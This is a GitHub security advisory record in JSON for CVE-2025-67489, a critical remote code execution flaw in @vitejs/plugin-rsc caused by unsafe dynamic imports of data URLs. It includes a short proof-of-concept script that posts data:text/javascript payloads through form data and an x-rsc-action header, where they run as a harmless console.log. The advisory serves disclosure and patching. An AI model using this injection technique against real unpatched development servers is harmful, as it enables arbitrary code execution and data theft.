{"id":"GHSA-j76j-5p5g-9wfr","summary":"@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server","details":"## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n  },\n  body: fd,\n})\n```","aliases":["CVE-2025-67489"],"modified":"2025-12-09T22:13:57.489399Z","published":"2025-12-08T22:16:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-12-08T22:16:31Z","nvd_published_at":"2025-12-09T21:16:00Z","cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67489"},{"type":"WEB","url":"https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite-plugin-react"}],"affected":[{"package":{"name":"@vitejs/plugin-rsc","ecosystem":"npm","purl":"pkg:npm/%40vitejs/plugin-rsc"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.5.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-j76j-5p5g-9wfr/GHSA-j76j-5p5g-9wfr.json","last_known_affected_version_range":"\u003c= 0.5.5"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}